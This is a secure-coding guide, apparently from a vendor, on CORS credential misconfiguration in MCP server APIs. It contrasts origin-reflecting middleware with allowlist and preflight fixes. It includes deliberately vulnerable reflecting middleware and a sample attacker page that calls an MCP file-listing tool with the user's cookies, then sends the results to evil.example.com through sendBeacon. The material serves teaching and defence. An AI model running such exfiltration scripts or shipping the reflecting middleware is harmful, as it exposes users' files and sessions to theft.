MCP server CORS credential security — Access-Control-Allow-Credentials, withCredentials XHR, origin allowlisting for credentialed requests, and CORS misconfiguration in MCP server APIs

Why wildcards and credentials are mutually exclusive

Browsers enforce a hard rule: Access-Control-Allow-Origin: * and Access-Control-Allow-Credentials: true cannot be combined. If you set both, the browser rejects the cross-origin request entirely — the credentials rule overrides the wildcard. This is an intentional browser security constraint: if any origin could read credentialed responses, cookies would be universally exfiltrable.

The dangerous misconfiguration that bypasses this protection is origin reflection: echoing the request's Origin header back as Access-Control-Allow-Origin. This is functionally equivalent to Allow-Origin: * for authenticated endpoints, but the browser allows it because the reflected value is a specific origin, not a wildcard.

// DANGEROUS: origin reflection — common in CORS middleware with incorrect configuration
app.use((req, res, next) => {
  const origin = req.headers.origin;
  if (origin) {
    // Reflecting the request origin — any origin gets full credentials access
    res.setHeader('Access-Control-Allow-Origin', origin);          // WRONG
    res.setHeader('Access-Control-Allow-Credentials', 'true');
    res.setHeader('Vary', 'Origin');
  }
  next();
});

// CORRECT: explicit allowlist
const ALLOWED_ORIGINS = new Set([
  'https://skillaudit.dev',
  'https://app.skillaudit.dev',
  // Development only — remove in production:
  // 'http://localhost:5173',
]);

app.use((req, res, next) => {
  const origin = req.headers.origin;
  if (origin && ALLOWED_ORIGINS.has(origin)) {
    res.setHeader('Access-Control-Allow-Origin', origin);
    res.setHeader('Access-Control-Allow-Credentials', 'true');
    res.setHeader('Vary', 'Origin'); // Required: prevents caching one origin's grant for another
  }
  // If origin not in allowlist: no CORS headers — browser blocks the cross-origin read
  next();
});

The attack: credentialed cross-origin MCP tool call

With reflected-origin CORS and credentials enabled, any website the MCP server's user visits can silently invoke MCP tools on their behalf:

// Attacker's malicious page at https://evil.example.com
// When the MCP server user visits this page, it invokes tools with their session

(async () => {
  // withCredentials: true — sends the user's MCP session cookies
  const response = await fetch('https://api.skillaudit.dev/mcp/tools/listFiles', {
    method: 'POST',
    credentials: 'include',           // Send cookies with cross-origin request
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({ path: '/home/user' }),
  });

  if (response.ok) {
    const data = await response.json();
    // Exfiltrate the user's file listing
    navigator.sendBeacon('https://evil.example.com/collect', JSON.stringify(data));
  }
})();

If the MCP server reflects the Origin: https://evil.example.com header back as the Access-Control-Allow-Origin value, the browser allows the read. The attacker now has the user's tool response data — and can repeat this for any tool the user has access to.

CORS for MCP API endpoints: decision table

CORS preflight and credentialed requests

Credentialed requests that are not "simple" (GET/POST with simple headers) trigger a CORS preflight: an OPTIONS request that must also receive the correct Access-Control-Allow-Origin and Access-Control-Allow-Credentials headers before the browser sends the actual request. If your preflight endpoint reflects origins but your main endpoint has a stricter allowlist (or vice versa), the inconsistency can create a bypass.

// Handle OPTIONS preflight consistently with the same allowlist used for actual requests
app.options('*', (req, res) => {
  const origin = req.headers.origin;
  if (origin && ALLOWED_ORIGINS.has(origin)) {
    res.setHeader('Access-Control-Allow-Origin', origin);
    res.setHeader('Access-Control-Allow-Credentials', 'true');
    res.setHeader('Access-Control-Allow-Methods', 'GET, POST, OPTIONS');
    res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
    res.setHeader('Access-Control-Max-Age', '86400'); // Cache preflight for 24h
    res.setHeader('Vary', 'Origin');
  }
  res.sendStatus(204);
});

SkillAudit findings for CORS credential misconfiguration in MCP servers

See also: CSRF security · OAuth security · Session isolation

Run a free SkillAudit on your MCP server →